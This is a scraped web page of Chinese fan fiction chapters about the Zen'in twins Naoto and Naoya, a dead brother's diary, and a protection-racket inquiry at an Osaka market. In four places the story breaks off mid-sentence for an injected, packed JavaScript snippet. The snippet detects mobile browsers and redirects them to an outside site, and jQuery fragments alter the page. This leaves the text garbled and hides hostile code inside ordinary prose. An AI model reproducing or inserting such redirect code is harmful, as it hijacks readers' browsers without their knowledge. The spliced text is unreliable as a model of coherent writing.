惠子的两个女儿刚三个月,直人觉得两个妹妹很可爱,像天使。 绘本上的天使都带着漂亮的花环,所以直人也想给她们做一个。 “这样吗!”直贺的眼睛亮起来,“惠子夫人的孩子们也算是我的妹妹,做哥哥的也应该要送她们一点礼物才行。” 直人没搭话,还在摆弄手上的藤环,一用力,几根枝条弹了出来。 “我母亲住的院子有很多花,你和我一起去吧。” 直贺起身,拉着直人的衣袖。 直人仰着脸,没有动,又看向道馆。 “直哉还要练一两个小时。他很勤奋的。”直贺用了点力,“走吧。” 直人看看直哉,又看了看手里光秃秃的藤环,还是跟着直贺走了。 直贺很兴奋,他一直是独来独往,其他的兄弟都不太喜欢他。 他缠着直人说个不停。 他总是问直哉的事,问为什么直哉八岁才来道场,他说直哉比其他兄弟晚来很多,一开始跟不上,总是被其他人欺负。 但是现在,十几岁的兄弟里很少有能打过直哉的了,哥哥们也不能。 直人一直保持沉默。 突然,他贴近直人的脸,仔细打量过后说:“你和直哉长得真的很像诶,要是我没有术式的话,肯定分不清你们。” 终于,直人抬眼看向了直贺。 “是吗?”他问。 得到直人的回应,直贺很高兴:“真的啊,如果我是个普通人的话,肯定没办法分清的。” “不过这样也挺好的,这样禅院就很少有人会把你和直哉弄混了。上次我和妈妈去外面的公园玩,也遇到一对双胞胎,他们很讨厌别人分不清他们呢。” 直人定定地看了他一会儿,又继续低下头往前走。 藤子夫人和父亲的其他侍妾住同一个院子。中午,女人们聚在一起说话,身边围着几个小女孩。直人知道,那些也算是他的亲妹妹。 藤子夫人不在她们中间。 看见直人和直贺,女人们静了一瞬。她们移开目光,不再说话了。有些忌惮,又有些不屑。她们把女儿叫回身边搂紧,也不许她们出声。 直贺像没看见。他热切地和每个人打招呼。她们回应很冷淡,有些尴尬。 她们叫他,少爷。 直贺低声告诉直人,这是英的母亲,那又是建太和悠斗的母亲。 直人看过去。她们立刻避开,假装忙碌地低下头。 “她们想她们的孩子。”直贺声音有些悲伤,“但父亲不许兄长弟弟和她们住。” 直人没说话。 “父亲喜欢我母亲,才准我和母亲同住。其他夫人没这运气。”直贺叹气,“上次见父亲,我求他让其他夫人见见孩子。父亲不理我。” “母亲也不许我再提。” 直人瞥向他,看见直贺脸上真心实意的难过,又移开了眼。 藤子夫人住在最僻静的房间,她正在为直贺缝补衣服。见直贺回来,她面上先是一喜,但看到直贺身后的直人,脸上的笑容又犹疑了。 “……直人少爷?” 直人站在门外,微微俯身,声音很低:“藤子夫人。” “妈妈,”直贺说,“直人想给真依和真希编花环,今天早上扫的落花还在吗?” 藤子夫人讶异的目光放在直人脸上,但只一瞬,她温和地笑起来,起身去找存放花朵的藤筐,又拿剪子去剪了些花枝递给直贺。 两个人坐在走廊的荫蔽下,直贺手把手地教直人编花环。 直人做得很笨拙,枝条总是做一半就散开。 直贺笑:“我都教了你多少次了,为什么你还是不会呢?” 直人扭头看着他。 直贺又笑了,伸出手,一步一步地教他怎么做。 “这样绕过去……对,拉紧。” 几次失败后,直人终于编出一个像样的环。 “你学得很快嘛。”直贺把挑好的小花递给他,“插这里。” 直人接过花,一朵朵仔细插进缝隙。 “直人和直哉关系很好啊。”直贺说。 直人没应声,专注地摆弄花环。 直贺也不在意,自顾自说下去,“我有时会想,要是我也能有个双胞胎兄弟就好了。做什么都有伴。” “你很喜欢直哉吧?每天都会来等他。” 直人捏着花环的手顿了顿,又放下,开始做第二个。 藤子夫人端来点心,放在两人中间。是简单的米饼。直贺拿了一块塞进嘴里,含糊地说:“妈妈做的,好吃。” 直人没动。 “吃呀。”直贺把盘子往他那边推了推。 直人这才拿起一块,小口咬,吃得很慢。嘴里没有味道,直人吃了两口,又重新放回盘子边上。 “直哉对你很好吧。”直贺忽然说。 直人抬眼看他。 “道场里其他人说你的坏话,他都会打回去。” 直人放下手里的东西,静静地看着直贺。 直贺抓了抓头发:“哎呀,不外乎就是那些有关双胞胎的诅咒。” “诅咒?”直人终于开口了。 在直哉被迫离开母亲的院子后,直人终于知道了,在这个家族,双生子的诞生是不详的。 但他了解得很模糊,只大致听说双生子降生,总有一个会很弱小,很难觉醒术式,甚至连咒力也不会有。 但是这和直哉有什么关系呢?直哉很幸运,是觉醒了术式的那一个。 直贺惊讶地问:“你不知道吗?就是……本来是一个人的力量,被分成了两半之类的。” “他们都说……你拖了直哉的后腿,说如果没有你,说不定直哉会觉醒十种影法术,毕竟五条家的六眼就只比直哉大了一岁。” 直贺的语气愤懑起来:“他们真过分,明明是兄弟,他们就是见不惯你和直哉好。” …… 身后,直贺的母亲还在缝补衣服,似乎对他们的对话充耳不闻。 直人低下头,看向了手里的花环。 直贺连忙安慰他:“直哉从来不信这个,谁敢提,他就揍谁,现在已经没什么人敢说了。” “所以,直哉真的很珍惜你。真好啊,我要是也有直哉这样的同胞兄弟就好了。” 直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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直哉站在镜子前穿衬衫,他没回头,从镜子里看向直人:“真难得,起那么早。” 直人站在原地,愣愣地发呆,过了会儿,他才张口,声音沙哑:“做噩梦了。” 直哉一愣,转身瞥向直人,嘴角带着讥笑:“英,悠斗,还是建太?” 直人扶着床头柜,将前一晚杯子里的水拿起一饮而尽,过分冰凉的液体并没有缓解口舌的不适,反而有些刺激。 他摇摇头,“直贺。” “更新还挺快。”直哉冷哼,走到直人行李箱跟前,弯腰在里面翻找裤子。 “梦见他找你索命了?” 直人又摇头,他刚晃悠悠走了两步,又抱着胳膊倚在衣柜上,双眼发直。 直哉皱眉,手上动作没停,把行李箱翻得乱糟糟的:“我那条新裤子怎么不在里面。” “……可能在家吧。” “我昨天在衣柜里没找到,你不是说在你行李箱里吗?” “记错了。” 直哉一脚踹开行李箱,发出咣当的声响,随便拿了条裤子套上了。 他转头又看向直人:“你梦见他找你干嘛了?” 直人看着他,眼下一片乌青,半晌也没有说话,只是手又捂了把眼睛把脸撇开了。 “说话。” 直哉走过去,一把拽开直人的手。 直人和他对视,却笑了下。 “你睡傻了?” 直人垂下头,说话慢吞吞的:“我们两个小时候还挺蠢的。” 直哉拧眉,盯着直人看。 直人停了会儿,才又说:“小时候,我们两个让别人猜,谁是谁,这个游戏,真的还挺蠢的。” 30. 【二十四】 直哉没说话,他的表情有些古怪,最后他的嘴唇只是张了张,蹦出句:“确实很蠢,因为你做什么都很蠢。” 然后他就不再看直人,匆匆转身出了房间。 等直人洗漱完出来的时候,新手机和早点都送来了,风介和直哉已经吃了大半。 直人走到餐桌前坐下,直哉嘴里嚼着东西,眼睛直勾勾看着直人。 直人像没看见的,径直拿起新手机开始传输数据。 餐桌的氛围实在奇怪,风介就着牛奶咽下三明治,忍无可忍:“你们两个还没有和好吗?” 直哉瞟了他一眼,又继续看向直人,话却是对着风介说的:“你说,我们要不要找个巫师给他驱一下魔。” 风介的表情也变得一言难尽了。 他的视线在直哉和直人身上来回打转,他先是仔细打量了直人的脸色,最后又看向直哉,欲言又止:“你……能不能相信科学?” “我们是咒术师。” “你都是咒术师了你还信巫师那套!” 直哉把筷子一放,发出“啪”的声响,双手环胸面向风介:“那您有什么高见?” “我觉得……”风介看着直人,琢磨了一下,说:“应该请个心理医生最稳妥。” “你疯了?他见了心理医生说什么,说他杀太多人了睡不着觉,那他下一秒不是进精神病院就是蹲大牢。” 直人还在摆弄手机,懒得抬头看他们两个。 还好夏油杰只摔坏了手机屏,旧手机还能开机。 数据传输完毕,line就噌噌噌跳出一堆新信息。 直人打开,往下划拉,手指一顿,看到了场地圭介的名字。 两人互换line后并没有发过信息。 直人点进去,消息是昨晚发的。 场地圭介说,他们这些与直贺相识的朋友,想在东京为直贺以藤原贺的名字办一场道别仪式,给直贺立个墓碑,希望能得到直人的同意。 关系还真不一般啊。 直人心想。 他没有回复,跳出来,找到硝子的聊天框,输入:【兄长遗体火化完成了吗?】 硝子回复得很快,发来一张贴着符咒的骨灰盒照片: 【早就装箱了。要打开见最后一面么?】 【这就不必了。】 那边停了一会儿,又发了两条新的信息过来: 【顺便一问,要不要捐献骨灰?】 【可以做成咒具,是新出炉的活动,可以给你个免费体验的名额哦。】 甚至能想象到硝子漫不经心,但又憋着点坏的笑。 直人的嘴角翘了下,又很快抹平,回复:【随你。】 硝子回了个“OK”的小表情。 直人又切回场地圭介的对话框,他盯着屏幕,打了几个字又删掉,最后只回: 【感谢你们对兄长的惦念,若兄长在天有灵,也会倍感欣慰。】 信息发送成功,直人退出line关掉手机,把凉透了的鸡蛋一整个塞进嘴里。 直哉那边已经接了几个电话,他马上要去兵库,车等在楼下。 他起身把碗筷一推,眼睛扫过直人和风介:“你们两个,收拾好了赶紧搬走。” 风介把牛奶一饮而尽,有气无力地拖长音调:“是——” 直哉又盯向直人,直人也点点头,咽下嘴里的东西,眼也没抬地说:“一路顺风。” 直哉哼了一声,他站在原地眯起眼睛,直直地看着直人,最后留下一句:“要是再出幺蛾子,你就立马给我滚回京都。” 说完,也没打算等直人的回应,抓起手机走了。 直哉走后,屋里安静下来。 风介把餐盒收进袋子,系好。他看了眼窗外,天刚蒙蒙亮。 “市场什么时候去?”风介问。 直人把最后一口牛奶喝完。“先把东西搬到新公寓。”他声音还有点哑,“现在太早,商户都没开门。” 风介点头:“行。那等中午前过去,避开饭点,人少点。” 两人没再多话,各自收拾。 行李箱重新合上。出门前,直人回头看了眼客厅。文件收走了,但墙上的裂痕和倒下的门还在。 “我已经叫人过来修了。” 直人点点头,两人一起出了门。 照样还是风介开车,直人坐在副驾,他本来想先眯一会儿,但想了想还是掏出手机打开,发现场地圭介已经回了消息过来。 他希望直贺的告别仪式,直人也能出席。 直人的指腹在干燥的嘴唇来回摩挲,看着这条消息,黑沉沉的眼睛里没有任何波动。 他故意沉默了一阵,才输入:非常抱歉,我也十分希望能—— 他的字还没打完,场地圭介那边又发了消息,还附带了图片: 【我们整理了直贺哥的一些遗物。有几样东西,觉得应该交还给您。】 直人点开图片。几件叠好的衣物,两三样咒具,还有几个零碎的小物件。但这都不重要,直人的视线紧紧盯着,放在最上面的,一个破旧的笔记本。 边缘磨损得很厉害,本子很厚,看得出用了很久。 场地圭介的新消息紧随而来: 【我们翻了几页,是直贺哥的日记。写得很满,还夹了几张照片。我们没细看,已经封存好了。】 …… 车辆转向,屏幕上那排字也跟着左右晃动,反胃的感觉骤然涌上来。 直人闭上眼,向后仰倒。他偏过头,蜷起身体靠向车门,手垂下来搭在膝盖上,指尖收紧,摩擦布料纹路。 …… 指尖湿漉漉的,直人的眼睛重新睁开一条缝,眼神无目的地放空。 直贺—— 我果然有够讨厌你的。 死了都不安分。 …… 一口气刚想吐出,正巧这时候车颠簸了一下,顿时卡在胸口不上不下,直人起身捂住脖子,皱起眉唔了一声。 风介转头看了他一眼,连忙用手推他:“怎么回事,要吐了?” 直人另一只手把手机递给风介,声音有气无力:“帮我打给信一。” “我开车呢!” 最后风介还是拨了电话,开启免提放在中间。 电话那头,信一就自己竟然忘记检查遗留物这件事不停道歉,他声音急迫紧张,年轻的声线几次压不住险些破音。 风介感觉他再说几句,就要冲来大阪剖腹谢罪。 直人靠着椅背,闭着眼没吭声。 风介打断信一,让他冷静。 信一才慢慢说,直贺在东京的时候几人是分开住的,直贺直接住在了他本地一个朋友的家里,所以他也没想到直贺居然还写日记。 其实谁都没想到。 就连直人都没有。 禅院家能有几个,具备写日记的文化素养的人。就算有,也没有这个闲情雅致。 信一提出由他去东京取回。 “你还要跟着直哉处理炳的事……” 直人终于开口,但声音还是没劲,他顿了一下,说:“这段时间,你就专心你自己的工作,直哉那边的事,你去多请教请教你哥哥,我会和直哉说的。” 信一那边声音沉寂了一会儿,才又弱弱响起:“是。” “那东京——” “我到时候自己带人去。” 直人打断他,径直挂了电话。 “他还是太毛躁。”风介看着前方,笑着点评:“你第一次对他这么凶,他怕是要哭了。” “他已经19岁,总该有点长进。”直人声音冷淡。 “什么时候去?” 风介问。 直人点开场地圭介的聊天界面,送别仪式定在周日,还有三天。 “我和你一起?” “不。”直人扶着额头,摇摇头:“你留在大阪。” “我在东京有几个认识的——或者走禅院家的物流——”风介没说完,他自己也后知后觉不够稳妥。 “我亲自去。”末了,直人又补充一句:“别告诉直哉。” 直哉是个行动派。 他要是知道消息,今天晚上就能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887271|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲到东京,一把火把东西给烧了。 场地圭介又发来消息,说直人如果实在来不了,他也能帮忙邮寄。 直人回复: 【我会准时到场。】 想着,他又把界面切回硝子处,询问她周日是否有空,他想去高专纪念一下兄长。 对此,硝子只回:【记得带几瓶清酒给我。】 新公寓比之前的大,就在难波站附近。风介把行李箱往墙角一推,瘫在沙发上就不动了。直人把装着文件的包放在茶几上,开始收拾东西。 等他从房间里走出来,看了眼挂钟,快十点了。 他掏出手机,点开宫治的line。 【宫先生,上午好。请问现在店里忙吗?】 消息很快显示已读。 【上午好。现在正好不忙,禅院先生要过来吗?】 直人打字:【方便的话,我们现在过去。】 【随时欢迎。】 直人收起手机,看向风介:“走吧。” 风介叹了口气,爬起来。 两人步行过去。难波市场这个时候人算不上很多,毕竟是工作日,又不是饭点。宫治的店在拐角,招牌很干净。 两人掀开门帘走进去,宫治正站在柜台后擦桌子,看见他们,抬了下手。 “欢迎。” 他一眼看到直人简短的头发,毫不遮掩地夸赞:“很帅啊,新发型。” 直人抿唇,只点点头:“多谢。” 店里没有其他客人。 宫治放下抹布,走到料理台后。“吃什么?” 风介凑到柜台前看菜单,直人站在他旁边。宫治的视线从帽檐下看过来,微微弯了下唇角。 “有什么推荐?”直人问道。 “唔。”宫治捏着下巴,想了一会儿,“不知道禅院先生是什么偏好口味呢?” “叫他直人好了。”风介的视线从菜单上离开,笑着说:“我也是,不用称呼姓氏。姓禅院的可有一堆呢。” 宫治楞楞地眨眨眼,又转头看向直人:“这有些太冒犯了。” “没关系,就叫直人好了。”直人淡淡地说。 御三家之间向来都是直呼名字,因此对称呼并不在意。 “直人先生家有很多口人吗?”宫治还是加上了敬称,圆润的眼睛里是坦率的好奇。 “超级多。”风介平平带过,一转话题说:“我就要金枪鱼和明太子好了。” “是。”宫治麻利地记录下选项,然后又看向直人:“直人先生的话——” 他意识到直人还没说他的偏好。 风介顺势坐在料理台前的位置,语气随意:“给他来烤鳕鱼子的。” 宫治看了眼直人,见他没反驳,就又低头记了下来:“是。” 直人没吭声,只瞥向风介,风介理直气壮:“反正你也吃不完,正好我想试试烤鳕鱼子口味的。” 直人在风介身边坐下。 宫治戴上口罩开始准备。动作利落,米饭在他手里服服帖帖。风介靠在柜台边看。 “宫老板一个人看店?” “白天是。晚上会有学生来兼职。” “生意不错吧。” “还行。” 饭团很快做好。宫治用盘子盛好端到风介和直人面前。 饱满的饭团用海苔包裹,散发出诱人滚烫的香气。 “哇——光是看着口水就要流下了。”风介十分捧场地夸赞,还向直人寻求认同:“是吧,直人?” 直人还没饿,其实并没有食欲。但对上宫治期待认真的灰色眼睛的时候,还是点点头:“很香。” “快趁热尝尝吧。”宫治笑起来,露出整齐的牙齿,他把帽檐往上抬了抬。 风介吃了几口,连连点头:“很好吃!” 他的膝盖在底下撞了撞直人的,直人才拿起饭团咬了一口,也点点头:“味道很好。” “喜欢就好。” 风介又看向宫治,笑着调侃直人:“这家伙很挑剔呢,能得到他肯定的,那一定是不得了的珍馐了。” 31. 【二十五】 宫治愣了一下,有些不自在地回应:“这也太夸张了,风介先生。” 直人低着头,也觉得风介的表演太浮夸。 不过宫治的饭团的确很美味,直人的鼻尖一嗅到米饭的香气,刚缓解不适的胃部就开始抽搐,叫嚣着想要进食。 风介笑了一声,闲聊一样问宫治:“宫老板真是年轻有为。这市场位置这么好,租金不便宜吧?” 宫治正在擦刀,闻言动作停了下。他抬眼看向风介,又瞥了眼安静吃饭团的直人。 “其实……”宫治把刀放下,“租金不算贵。” “哦?”风介来了兴趣,身子往前探了探,“多少?” 宫治报了个数。 和报表上的合同数目一样。 风介眉毛扬起来,声音也抬高了些:“这么便宜?”他转头看向直人,直人正小口咬着饭团,动作很慢。 “我都有些心动了。”风介笑着说。“还有空的铺面吗,说不定我也能找点小生意做做。” 宫治却显得很犹豫。 “风介先生也想开店吗?” 风介擦擦嘴,单手托脸:“是有这个打算吧,这次来大阪也是想看看行情。” 宫治盯着他们看,过了半晌,他放下手里的抹布,双手撑在料理台边缘,身体微微前倾,声音压低了些:“其实……租金是不贵。但有时候,会有清洁公司的人上门收维护费。” 直人咀嚼的动作停下来。 宫治接着说:“来的人……看着不太像正经公司的。收的钱也不少。” 直人抬起眼,看向宫治。 宫治正看着他,两人的目光对上。 “维护费?”直人咽下口中食物,问。 “嗯。说是市场公共区域的清洁和安保。”宫治的语气很平,“按面积算。我这店,每次要交五十万。” “五十万?这也太多了,”风介低呼,“比你一个月租金都高,这个月也来了吗?” “这个月没有。他们不是按月收,来的频率很不固定,有时候两三个月来一次,最久的一次隔了四个月,一年也就收四五次。” 宫治谈起他们也是满脸厌烦:“他们上个月月末来过,所以这个月应该不会来了。” “这样……”风介在心里盘算了一下,问,“市场管理方不负责?” 宫治摇摇头。“他们说这与他们没有关系,没法管。”他顿了顿,“而且…只收现金。没有收据。” 店里安静了几秒。只有外面市场的喧闹声隐隐传来。 “什么时候开始的?”直人问。 宫治看向他:“我开店就在了。我问了其他开业时间久的商户,说是有五六年了。” 风介和直人对视一眼。 风介又问:“必须要交吗?” 宫治无可奈何地耸肩:“他们说这一片的店铺都由他们负责清洁维护。不交的话,会很麻烦。” 他说“麻烦”两个字时,声音压得很低。 看得出颇有不满。 直人推开盘子,喝了口水。风介顺手把他没吃完的半个饭团拿了过去,语气随意:“他们收费那么高,那清洁做得很好咯?” 宫治皱起眉:“他们只负责收钱,才没有真的工作过。打过去的电话几乎不接。” “有电话?”直人看向宫治。 宫治嗯了一声:“有留名片。” “可以给我们一份吗?”风介紧跟着问。 …… 直人恍若不闻,拿起旁边的水又喝了一口。 宫治没有接话,只是狐疑地打量直人和风介。 风介后知后觉干笑了两下,“只是很好奇而已,毕竟难波市场也算是个声名赫赫的大市场了,能在这里胡乱收钱的清洁公司……还真是有点本事呢。” 不过宫治眼里倒没有太多防备,只是疑惑。 “没报过警吗?” 直人放下水,手肘摆在桌台,双手在下巴处交握,仰头看向宫治对上他的眼睛:“你平时一个人在这里,他们来收钱,会不会为难你?” “啊——”宫治不自然地扶了扶帽檐,短暂地移开视线:“说是最开始有商家报过警,但那群人说这是正当商业合同纠纷。警察也没办法。” “如果不给钱的话,他们就不会走,会很麻烦。”宫治又补充:“只要交钱,他们走得很爽快。” “因为租金本身不高,加上维护费其实也和其余核心地段应有的租金差不多,所以大家都想着交钱了事。” “这样啊。”直人垂下眼,声音很轻,带着点叹息一样的尾音。 “不过,如果你们……也想在这里开店,最好考虑清楚。”宫治诚恳地给出建议:“因为最近维护费好像在上涨。” “生意最好的那几家大店,今年六月份的时候每平多收了五千。” 风介又看了眼直人,直人的视线放在桌台的木质纹路上。 六月份,禅院一郎被叫回京都问责。 “我们知道了。”直人抬眼看向宫治,缓缓露出一个微笑:“多谢提醒。” 风介已经吃完,他抽纸擦了擦嘴。直人起身,掏出钱包:“请问多少钱?” 宫治报了数,直人掏出钞票放在收银台。宫治接过,准备给直人找零。 直人拒绝了:“算付上次金枪鱼饭团的钱。” “上次那个都说是请你的了。”宫治瞪大眼睛,控诉地看向直人:“真是的,我可不会在意这一两个饭团的钱。” 他的声音比刚刚活跃了很多。 直人笑了笑:“上次宫先生送我的可不止是饭团,还请收下吧,有来有往嘛。之后我也会常光顾的。” 听到有来有往,宫治的手顿了下,还是把钱拿了回去。不过,他闻言也有些担忧地看向直人:“上次的事——” “没关系。”直人轻声打断,他脸上带着浅淡的笑:“都已经过去了。你说得很对,硌牙的米吐掉就好了。反正也煮过了,掉在地上也不会发出新芽了。” 宫治虽然不太懂他在说些什么,但看样子,直人的确没有受什么影响,也放心地点点头。 风介在他俩聊天的空荡,在店里乱转,他突然看到宫侑戴着奖牌的海报,问宫治:“宫老板还有双胞胎兄弟吗?” “哦,是的。”宫治随着看过去,有些惊讶:“不过,很多客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887272|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人来看到他的海报,都以为我还兼职打排球呢,很少有人想到我和他是双胞胎。” 说着,他露出一个狡黠的坏笑:“看到他们震惊的表情,真的很有意思。” 风介双手叉腰,感慨:“日本的双胞胎可真多啊。” “您身边也有双胞胎吗?” 风介看了眼直人,才说:“那家伙有一对双胞胎妹妹。” 宫治看向直人,他瞪大眼睛,眉毛微微扬起来,声音黏糊糊的:“是亲妹妹吗?我和侑一直都很想要妹妹呢,一听就很可爱啊,比只知道抢食的兄弟好多了。” “不,是堂妹。”直人垂眼,无可奈何地笑:“两姐妹最近吵架了,关系不如以前。” “我和侑也经常吵架,毕竟是兄弟。”宫治宽慰他。 直人像在思考宫治的话,过了会儿,他才重新看向宫治,嘴角上扬:“你和你兄弟的感情,真让人羡慕。” 风介立马嗤了一声,对上直人瞥过来的眼睛,他双手环胸背过身,继续很感兴趣地研究墙上的海报。 “直人先生,你们会在这边多留几天吗?” “嗯。”直人应了一声。 沉默了几秒,他又说:“后面也会常来拜访的。” 宫治摆摆手:“大阪好吃的食物有很多,没必要刻意过来。” “没关系,你做的饭团很好吃。” “可是——”宫治迟疑地说,“你今天胃口不好吗,还是不合口味?不好意思,我刚看你并没有吃完。” 意识到这样的话未免有些越界,他局促地摸了摸后脖颈。 “他就是这样。”风介插话,“你别看他长这么大个子,但我一直怀疑他有厌食症。” “真的吗?这可不好。”宫治略带担忧地看着直人,直人确实很瘦,但昨天遇见,宫治发现他臂膀上其实也是有肌肉的,只是体脂很低。 “要多吃才行啊。” “就是就是。”风介应和宫治,说:“之后我会监督他一日三餐来饭团宫打卡的。” “这也太过了,还是要吃点别的食物才能营养均衡。” 又随便聊了几句,直人提出告辞。 在和风介往外走的时候,宫治突然从柜台后面绕出来,他手上拿着一张名片。 他把名片递给直人,目光从帽檐下定定地看过来:“这是那家清洁公司的名片。” 直人的视线在这张名片上略作停顿,随即看向宫治的眼睛,他伸手捏住名片的另一端,两人的手指相碰,宫治的手还带着米饭的温度。 直人指尖轻轻擦过宫治的指节,然后抽走了名片,将名片塞进上衣口袋。 “多谢。”直人颔首。 “……没关系,还请慢走。” 直人嗯了一声,风介已经在门外等他,他掀起门帘出了店。 风介看他出来,吹了声口哨:“看来是到手了。” 直人点点头,又恢复了面无表情的样子。 “没想到这次这么顺利,看来今年能回去过年了。” 直人没理他,只说:“让人注意着饭团宫,看会不会有禅院一郎的人来找宫治。” “行。” 32. 【二十六】 两人一直回到公寓,直人才拿出那张名片,上面写着关西洁保株式会社。 风介查了讯息,说:“注册地在西成区,代理董事一男一女,都姓石田,应该有家属关系。” 直人翻着之前的报表,没抬眼:“拜托信也去查,不要过太多人。” 信也是信一的哥哥,并不隶属于炳,受直毘人直接差使。 但直毘人不怎么管下属的事,而且信一站队直哉直人,所以信也愿意卖直人一个面子。 风介点点头,又说:“我之前听说,会有□□成立空壳公司,打着收维护费清洁费的旗号,收商家保护费。” “保护费?” 直人慢悠悠地重复了一遍:“禅院的市场,给□□交保护费。” 简直是可以编入笑话集锦的程度。 要是让直哉知道,非得让□□反过来给他交保护费不可。 风介耸肩,语调疲惫:“禅院家六成人是术师,剩下四成有三成都是干苦力的,分不出多的人来盯紧这些外派管资产的。” 直毘人有心查,也分不出人力。只要每月上缴的钱够数,他向来睁一只眼闭一只眼。 只是时间久了,禅院一郎恐怕就以为直毘人是真的好糊弄了。 风介点了根烟叼在嘴里,声音含糊:“什么时候去拜访一郎?” 他语气亲昵,像在提什么老朋友。 “不急。等把这个公司背后的负责人查出来。去跟一郎的人有什么发现没有?” “这才一天,目前没有。” “周末你放心去,这边我会看着的。” “知道了。” 晚上,信也那边的消息传了过来。 “这家清洁公司最大的股东,是东京一家上市公司的社长。清洁公司的账户由平田正男那边的人负责,入账直接流向东京。”风介看着手机上的文件,念道。 “而且这家上市公司十年前就在西成区有一家分公司。” 直人在笔记本电脑上翻阅信息。这家上市公司规模不大,但在东京也算有一席之地。分公司规模更小,人员不到十人。 直人注意到其中一名财务叫石田春,和清洁公司的代理董事是同一人。 风介在一个页面停顿了很久,抬头看向直人: “这个社长……他信教。” 直人停下手,看向风介。 风介把手机递过去。屏幕上是社长的公开资料。 “平田正男,五十六岁。”风介念道,“公司做医疗器械,和咒术界没有明面往来。” 直人盯着那张标准照。普通的中年男人。 “信教?” “嗯。记者采访里他自己提过,说人生低谷时受‘盘星教’指引,才重新振作。”风介划了下屏幕,“就提了这么一句。” 盘星教。 昨晚夏油杰提起禅院一郎的时候,语气很熟稔。 直人眯起眼睛,看着那三个字,没说话。 房间里只有笔记本电脑散热扇的轻微嗡鸣。 风介表情凝重,他几次张口,看了眼直人脸色,又吞了回去。 信也又发来文件,是平田正男的资金流水。 “平田正男的公司,上个月有一笔大额资金流出,不是内部业务,去向是海外的一个慈善基金会。”风介把屏幕转向直人,“基金会在开曼群岛注册,查不到实际控制人。” 直人看着资金流向,缓缓开口:“他知道我在查禅院一郎。他昨晚问我,要不要帮忙。” “他还说……”直人沉默几秒,要笑不笑地开口,“他在美国有存款和房产,要送给我。” 风介面色复杂,知道直人这是要气炸了。 他想了半天,只憋出一句:“你前男友……挺大方的。” “要不要上报?”风介又问。 毕竟如果禅院一郎和夏油杰有牵扯,这可就不是简单的贪污了。有关特级诅咒师的动向,必须上报咒术高层。 直人摇摇头,他移开视线看着桌面,过了很久才低声说:“先不上报。” 风介没再多问,继续手上的工作。 “平田正男和禅院一郎有没有直接往来?” “没有。”风介收回手机,“有估计也是用其他人的账户或者现金。” 直人手肘撑在膝盖上,低着头。 他继续滑动触控板,调出清洁公司的股权结构,看到上面两个姓石田的代理董事。 他点开信也发来的档案。两人是姐弟。 石田春,三十二岁,每月固定有一笔一百二十万汇款入账,由平田正男在西成区的分公司发放。 未婚有一子,生父不明,没读过大学,从出生到高中毕业一直住在难波所在的中央区,几年前怀孕后在西成区买了房,住民税也一直在西城区缴纳。 儿子石田佑,六岁,今年刚入学,读国际小学,半个月放一次假。 弟弟石田秋,二十二岁,小学教师,在石田佑就读的学校任职。 风介查了下资料:“这所国际学校小学初中连读,在吹田。高中可以直通英国。学费是大阪私立里最贵的。” “英国……看来有送出国的打算。月薪一百二十万日元可不够在国外生活。” 直人没接话,活动了下肩颈,继续翻。信也发来的信息很细。 他点开石田佑今年的入学照。狐狸眼,小瞳仁。 和禅院一郎长得几乎一模一样。 两人对视一眼。 “一郎经常去西成区吗?” “不。”风介低头翻手机,“他几乎不离开难波。” “石田秋和石田佑都在吹田,父母还在中央区……她刚入社会工作的时候也在中央区,在书店兼职店员。” 怀孕后突然去西成区,一个小公司给财务发一百多万月薪,都很可疑。这个分公司月流水不到五百万。 直人点开石田春的照片,是她任职法人时的证件照,后面还有几张不知道什么时候的生活照。 是个很低调内敛的女人,看着老实本分,几乎不发社交动态。 “叫人去采石田佑和纪田的血液样本,看看他们有没有血缘关系。顺便试探一下,他能不能看见咒灵。” 纪田是一郎在禅院家的女儿。 风介点点头,起身去给本家的人打电话。 直人留在客厅,他发短信给信也,拜托他查一查石田春和石田秋在海外是否有资产。 得到肯定答复后,他重新打开电脑,搜索了盘星教近几年的新闻,大多是些不痛不痒的慈善活动报道。 夏油杰本人的照片讯息几乎没有,代为露面的全是他麾下的几个诅咒师。 直人关掉网页。 他拿出手机,line上有几十条未读。一条是场地圭介发来的,说的是告别仪式的具体时间和地点。 一条是宫治发来的,问他今天饭团合不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887273|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合口味。 剩下的全是直哉的,直人熟练地长按选择免打扰。 直人先回复了场地圭介:【收到,我会准时到场。】 